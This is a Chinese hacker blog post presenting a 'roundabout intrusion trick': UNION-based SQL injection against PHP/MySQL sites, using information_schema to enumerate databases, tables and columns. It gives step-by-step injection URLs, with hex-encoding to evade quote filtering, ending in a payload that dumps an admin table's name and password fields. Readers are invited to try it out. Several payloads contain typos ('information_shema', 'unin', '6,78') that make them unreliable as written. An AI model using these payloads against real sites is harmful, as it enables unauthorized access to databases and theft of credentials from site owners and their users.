危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20720086

曲线救国——另类的入侵小技巧

通常在mysql5.0版本以下只能通过猜解来得到表名和字段名,若是程序员把表名和字段名改的非常偏僻,黑客就很难猜解了。因为渗透基础都是基于黑盒测试的,根本没法得到站点后台程序的表以及字段的结构信息。但是在mysql5中,新增加了一个叫information_schema的系统数据库,该库封装了mysql数据库的系统信息。同时也存储了其他所有数据库的信息。information_scema是一个虚拟数据库,并不物理存在,在执行select的时候,从其他数据库获取相应的信息。


schemata 存储数据库名。

关键字段:schema_name.表示数据库名称。

tabales:存储表名。

关键字段:table_schema,表示表所属的数据库名称。

tabale_name:表示表的名称。

columns:存储字段名。

关键字段:table_schema 表示表所属的数据库名称。

column_name:表示字段名。

数据库版本判断。一般数据库是4.0就支持union查询。

查版本命令是version() ,  数据库名是database(),数据库用户名是user()



1.查找数据库名

通过查找数据库的操作,可以迅速得到所有的数据库名。有了这些找数据库名,可以进行跨找数据库查询,执行语句。

比如说一个站,php的有注入漏洞,注入猜解发现有8个字段,爆出2,5,

new.php?id=18 and 1=2 union select 1,schema_name,3,4,5,6,7,8 from information_shema.schemata limit n.1表示查看第n个数据库的位置,通过变换该数字可以查询其他数据库名,比如想查第5个数据库名字,执行语句:new.php?id=18 and 1=2 union select 1,schema_name,3,4,5,6,7,8 from information_shema.schemata limit 5.1

2.查找表名

net.php?id=18 and 1=2 unin select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=库的hex值 limit n,1使用hex编码可绕过程序对单引号的过滤,n表示查询表的位置,该数字变换。比如说第一库名是hake01,把hake01转成hex值是0x68616B653031。

构造语句:net.php?id=18 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x68616B653031 limit 1,1

要查询hake01库,第三个表名,构造语句:net.php?id=18 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x68616B653031 limit 3,1

3查询字段名

通过查询字段名操作,可以迅速获取指定表的所有字段名,有了字段名就可以爆出字段中的数据。

执行语句:net.php?id=18 and 1=2 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=字段的hex值 limit n,1 表名也需要转换成hex值,n代表字段的位置。比如hake01库中,第一个表是admin.

相查admin中的字段,admin的hex值是0x61646D696E。

执行语句:net.php?id=18 and 1=2 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646D696E limit 1,1

net.php?id=18 and 1=2 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646D696E limit 2,1

通过反复查询得到字段名name 和pass.

再次构造语句:net.php?id=18 and 1=2 union select 1,name,3,4,pass,6,78 from hake01.admin

就爆出了字段名。


危险漫步这次给大家支的招就是这个了,有兴趣的小伙伴可以实践应用一下,还是挺不错的。